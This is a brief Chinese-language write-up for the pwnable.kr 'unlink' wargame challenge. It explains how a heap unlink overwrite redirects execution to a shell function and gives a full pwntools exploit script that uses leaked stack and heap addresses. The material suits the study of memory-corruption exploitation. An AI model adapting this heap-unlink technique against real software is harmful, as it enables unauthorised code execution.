这里推荐一个软件WinScp,用来远程下载文件非常合适。
unlink内容,可以看到,是个模拟free状态下chunk的程序。
ida打开,可以看到main最后
可以利用unlink,更改ebp-4
的内容为写有shellcode地址的地址+4
来实现跳转到shellcode
+-------------+--------------+ <= A
| fd | bk |
|shell_addr | aaaa |
+-------------+--------------+ <= B
| aaaaaaaa(chunk size) |
|heap_addr+8+4|stack_addr+16 |
| buf |
+-------------+--------------+
exp:
from pwn import *
context(arch='amd64',os='linux',log_level='info')
s = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
shell_addr = 0x080484eb
ss = s.run('./unlink')
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*12+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()